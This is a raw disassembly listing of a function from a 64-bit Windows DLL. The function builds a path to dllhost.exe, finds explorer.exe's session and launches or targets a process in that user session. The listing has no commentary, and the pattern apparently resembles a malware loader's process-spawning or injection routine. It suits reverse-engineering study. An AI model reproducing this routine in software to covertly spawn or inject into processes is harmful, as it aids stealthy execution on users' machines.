call fcn.18000c5e0
mov rcx, rdi
mov rbx, rax
call qword [rax + 0x40]
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x200
mov r14d, eax
call sub.ntdll.dll_memset
cmp r14d, 0x20
jne 0x180006c98
lea rdx, [rsp + 0x70]
call fcn.180014afc
lea rdx, str._syswow64
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x180006cb7
cmp r14d, 0x40
jne 0x180006cb7
lea edx, [r14 + 0x24]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x180006cb7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.dllhost.exe
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
and dword [rbp + 0xc30], 0
lea rcx, str.explorer.exe
call fcn.180015684
test eax, eax
je 0x180006d4a
lea rdx, [rbp + 0xc30]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov eax, dword [rbp + 0xc30]
test eax, eax
jne 0x180006d04
mov eax, 1
mov dword [rbp + 0xc30], eax
lea rcx, [rbp + 0xc38]
mov r9d, eax
mov qword [rsp + 0x20], rcx
mov r8d, r15d
lea rcx, [rsp + 0x70]
mov rdx, rdi
call qword [rbx + 0x18]
mov rcx, rsi
call fcn.18000397c
mov rcx, rbx
call fcn.18000c770
mov rbx, qword [rsp + 0xd40]
xor eax, eax
add rsp, 0xd00
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
cmp qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId], 0
je 0x180006cef
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov dword [rbp + 0xc30], eax
jmp 0x180006cf5